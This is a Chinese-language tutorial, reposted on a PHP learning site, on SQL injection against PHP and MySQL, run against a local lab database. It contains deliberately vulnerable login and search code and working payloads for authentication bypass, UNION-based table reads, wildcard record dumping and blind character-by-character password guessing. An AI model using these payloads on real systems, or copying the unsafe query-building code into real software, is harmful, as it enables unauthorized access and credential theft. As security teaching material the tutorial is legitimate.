网站地图    收藏   

主页 > 后端 > php资料库 >

SQL Injection with MySQL超详细教程_自学php网

来源:自学PHP网    时间:2014-12-04 22:12 作者: 阅读:

[导读] 关于php+Mysql的注入 国内能看到php+Mysql注入的文章可能比较少,但是如果关注各种WEB程序的漏洞,就可以发现,其实这些漏洞的文章其实就是一个例子。不过由于国内研究PHP的人比研究...

关于php+Mysql的注入

国内能看到php+Mysql注入的文章可能比较少,但是如果关注各种WEB程序的漏洞,就可以发现,其实这些漏洞的文章其实就是一个例子。不过由于国内研究PHP的人比研究ASP的人实在少太多,所以,可能没有注意,况且PHP的安全性比ASP高很多,导致很多人不想跨越这个门槛。
尽管如此,在PHP站点日益增多的今天,SQL注入仍是最有效最麻烦的一种攻击方式,有效是因为至少70% 以上的站点存在SQL Injection漏洞,包括国内大部分安全站点,麻烦是因为MYSQL4以下的版本是不支持子语句的,而且当php.ini里的 magic_quotes_gpc 为On 时。提交的变量中所有的 ' (单引号), " (双引号), \ (反斜线) and 空字符会自动转为含有反斜线的转义字符。给注入带来不少的阻碍。
早期的时候,根据程序的代码,要构造出没有引号的语句形成有效的攻击,还真的有点困难,好在现在的技术已经构造出不带引号的语句应用在某些场合。只要有经验,其实构造有效的语句一点也不难,甚至成功率也很高,但具体情况具体分析。首先要走出一个误区。

注:在没有具体说明的情况下,我们假设magic_quotes_gpc均为off。

php+Mysql注入的误区

很多人认为在PHP+MYSQL下注入一定要用到单引号,或者是没有办法像MSSQL那样可以使用“declare @a sysname select @a= exec master.dbo.xp_cmdshell @a”这类的命令来消除引号,其实这个是大家对注入的一种误解或这说是对注入认识上的一种误区。  为什么呢?因为不管在什么语言里,在引号(包括单双)里,所有字符串均是常量,即使是dir这样的命令,也紧紧是字符串而已,并不能当做命令执行,除非是这样写的代码:

$command = "dir c:\"; system($command);
  否则仅仅只是字符串,当然,我们所说的命令不单指系统命令,我们这里说的是SQL语句,要让我们构造的SQL语句正常执行,就不能让我们的语句变成字符串,那么什么情况下会用单引号?什么时候不用呢?看看下面两句SQL语句:

①SELECT * FROM article WHERE articleid='$id' ②SELECT * FROM article WHERE articleid=$id
  两种写法在各种程序中都很普遍,但安全性是不同的,第一句由于把变量$id放在一对单引号中,这样使得我们所提交的变量都变成了字符串,即使包含了正确的SQL语句,也不会正常执行,而第二句不同,由于没有把变量放进单引号中,那我们所提交的一切,只要包含空格,那空格后的变量都会作为SQL语句执行,我们针对两个句子分别提交两个成功注入的畸形语句,来看看不同之处。 ① 指定变量$id为:

1' and 1=2 union select * from user where userid=1/*
此时整个SQL语句变为:

SELECT * FROM article WHERE articleid='1' and 1=2 union select * from user where userid=1/*'
②指定变量$id为:

1 and 1=2 union select * from user where userid=1
此时整个SQL语句变为:

SELECT * FROM article WHERE articleid=1 and 1=2 union select * from user where userid=1
  看出来了吗?由于第一句有单引号,我们必须先闭合前面的单引号,这样才能使后面的语句作为SQL执行,并要注释掉后面原SQL语句中的后面的单引号,这样才可以成功注入,如果php.ini中magic_quotes_gpc设置为on或者变量前使用了addslashes()函数,我们的攻击就会化为乌有,但第二句没有用引号包含变量,那我们也不用考虑去闭合、注释,直接提交就OK了。  大家看到一些文章给出的语句中没有包含单引号例如pinkeyes的《php注入实例》中给出的那句SQL语句,是没有包含引号的,大家不要认为真的可以不用引号注入,仔细看看PHPBB的代码,就可以发现,那个$forum_id所在的SQL语句是这样写的:

$sql = "SELECT * FROM " . FORUMS_TABLE . " WHERE forum_id = $forum_id";
  由于没有用单引号包含变量,才给pinkeyes这个家伙有机可乘,所以大家在写PHP程序的时候,记得用单引号把变量包含起来。当然,必要的安全措施是必不可少的。 简单的例子   先举一个例子来给大家了解一下PHP下的注入的特殊性和原理。当然,这个例子也可以告诉大家如何学习构造有效的SQL语句。  我们拿一个用户验证的例子,首先建立一个数据库和一个数据表并插入一条记录,如下:

CREATE TABLE `user` ( `userid` int(11) NOT NULL auto_increment, `username` varchar(20) NOT NULL default '', `password` varchar(20) NOT NULL default '', PRIMARY KEY (`userid`) ) TYPE=MyISAM AUTO_INCREMENT=3 ; # # 导出表中的数据 `user` # INSERT INTO `user` VALUES (1, 'angel', 'mypass');
  验证用户文件的代码如下:

< ?php $servername = "localhost"; $dbusername = "root"; $dbpassword = ""; $dbname = "injection"; mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); $sql = "SELECT * FROM user WHERE username='$username' AND password='$password'"; $result = mysql_db_query($dbname, $sql); $userinfo = mysql_fetch_array($result); if (empty($userinfo)) { echo "登陆失败"; } else { echo "登陆成功"; } echo "<p>SQL Query:$sql<p>";<br /> ?></p>
  这时我们提交: http://127.0.0.1/injection/user.php?username=angel' or 1=1   就会返回:

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in F:\www\injection\user.php on line 13 登陆失败 SQL Query:SELECT * FROM user WHERE username='angel' or 1=1' AND password='' PHP Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in F:\www\injection\user.php on line 13
  看到了吗?单引号闭合后,并没有注释掉后面的单引号,导致单引号没有正确配对,所以由此可知我们构造的语句不能让Mysql正确执行,要重新构造:

http://127.0.0.1/injection/user.php?username=angel' or '1=1
  这时显示“登陆成功”,说明成功了。或者提交:

http://127.0.0.1/injection/user.php?username=angel'/* http://127.0.0.1/injection/user.php?username=angel'%23
  这样就把后面的语句给注释掉了!说说这两种提交的不同之处,我们提交的第一句是利用逻辑运算,在ASP中运用可以说是非常广泛的,这个不用说了吧?第二、三句是根据mysql的特性,mysql支持/*和#两种注释格式,所以我们提交的时候是把后面的代码注释掉,值得注意的是由于编码问题,在IE地址栏里提交#会变成空的,所以我们在地址栏提交的时候,应该提交%23,才会变成#,就成功注释了,这个比逻辑运算简单得多了,由此可以看出PHP比ASP强大灵活多了。  通过上面的例子大家应该对PHP+MYSQL的注入有个感性的认识了吧? 语句构造   PHP+MYSQL注入的博大精深不仅仅体现在认证体系的饶过,语句的构造才是最有趣味的地方,但构造语句和ACCESS、MSSQL都有少许不同,但同样可以发挥得淋漓尽致。看下面的例子。 一、搜索引擎   网上有一大堆的PHP程序搜索引擎是有问题的,也就是提交特殊字符可以显示所有记录,包括不符合条件的,其实这个危害也不算大,因为允许用户输入关键字进行模糊查询的地方大多数都允许检索所有的记录。很多查询的设计就是这样的。  查询是只读的操作应该不会对数据产生破坏作用,不要太担心。不过泄露隐私不知道算不算危害,下面是一个标准的搜索引擎:

<form method="GET" action="search.php" name="search"><input name="keywords" type="text" value="" size="15"/> <input type="submit" value="Search"/></form> <p><b>Search result</b></p> < ?php $servername = "localhost"; $dbusername = "root"; $dbpassword = ""; $dbname = "injection"; mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); $keywords = $_GET['keywords']; if (!empty($keywords)) {   //$keywords = addslashes($keywords);   //$keywords = str_replace("_","\_",$keywords);   //$keywords = str_replace("%","\%",$keywords);   $sql = "SELECT * FROM ".$db_prefix."article WHERE title LIKE '%$keywords%' $search ORDER BY title DESC";   $result = mysql_db_query($dbname,$sql);   $tatol=mysql_num_rows($result);   echo "<p>SQL Query:$sql<p>";<br /> <br />   if ($tatol < =0){<br />     echo "The \"<b>$keywords\" was not found in all the record.</p><p>\n";<br />   } else {<br />     while ($article=mysql_fetch_array($result)) {<br />       echo "<li>".htmlspecialchars($article[title])."<p>\n";<br />     } //while<br />   }<br /> } else {<br />   echo "<b>Please enter some keywords.</b></p><p>\n";<br /> }<br /> ?></p></li></p>
  一般程序都是这样写的,如果缺乏变量检查,我们就可以改写变量,达到“注入”的目的,尽管没有危害,当我们输入“___” 、“.__ ”、“%”等类似的关键字时,会把数据库中的所有记录都取出来。如果我们在表单提交:

%' ORDER BY articleid/* %' ORDER BY articleid# __' ORDER BY articleid/* __' ORDER BY articleid#
  SQL语句就被改变成下面的样子了,

SELECT * FROM article WHERE title LIKE '%%' ORDER BY articleid/*%' ORDER BY title DESC SELECT * FROM article WHERE title LIKE '%__' ORDER BY articleid#%' ORDER BY title DESC
  就会列出所有记录,包括被隐藏的,还可以改变排列顺序。这个虽然危害不大,也算是注入的一种方式了吧? 二、查询字段   查询字段又可以分成两种,本表查询和跨表查询,这两种查询和ACCESS、MSSQL差不多,甚至更强大、更灵活、更方便。不知道为什么就是有人认为比ASP难?我们在ASP中经常使用的个别函数在PHP里要有小小的改动,如下: ① 本表查询   看下面一条SQL语句,多用在论坛或者会员注册系统查看用户资料的,

< ?php $servername = "localhost"; $dbusername = "root"; $dbpassword = ""; $dbname = "injection"; mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); $sql = "SELECT * FROM user WHERE username='$username'"; $result = mysql_db_query($dbname,$sql); $row = mysql_fetch_array($result); if (!$row) {   echo "该记录不存在";   echo "<p>SQL Query:$sql<p>";<br />   exit;<br /> }<br /> <br /> echo "你要查询的用户ID是:$row[userid]\n";<br /> echo "</p><p>SQL Query:$sql</p><p>";<br /> ?></p>
  当我们提交的用户名为真时,就会正常返回用户的ID,如果为非法参数就会提示相应的错误,由于是查询用户资料,我们可以大胆猜测密码就存在这个数据表里(现在我还没有碰见过密码是单独存在另一个表的程序),记得刚才的身份验证程序吗?和现在的相比,就少了一个AND条件,如下:

SELECT * FROM user WHERE username='$username' AND password='$password'SELECT * FROM user WHERE username='$username'
  相同的就是当条件为真时,就会给出正确的提示信息,如果我们构造出后面的AND条件部分,并使这部分为真,那我们的目的也就达到了,还是利用刚才建立的user数据库,用户名为angel,密码为mypass,看了上面的例子,应该知道构造了吧,如果我们提交:

http://127.0.0.1/injection/user.php?username=angel' and password='mypass
  这个是绝对为真的,因为我们这样提交上面的SQL语句变成了下面的样子:

SELECT * FROM user WHERE username='angel' AND password='mypass'
  但在实际的攻击中,我们是肯定不知道密码的,假设我们知道数据库的各个字段,下面我们就开始探测密码了,首先获取密码长度:

http://127.0.0.1/injection/user.php?username=angel' and LENGTH(password)='6
  在ACCESS中,用LEN()函数来获取字符串长度,在MYSQL中,要使用LENGTH(),只要没有构造错误,也就是说SQL语句能正常执行,那返回结果无外乎两种,不是返回用户ID,就是返回“该记录不存在”。当用户名为angel并且密码长度为6的时候返回真,就会返回相关记录,是不是和ASP里一样?再用LEFT()、RIGHT()、MID()函数猜密码:

http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,1)='m http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,2)='my http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,3)='myp http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,4)='mypa http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,5)='mypas http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,6)='mypass
 

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论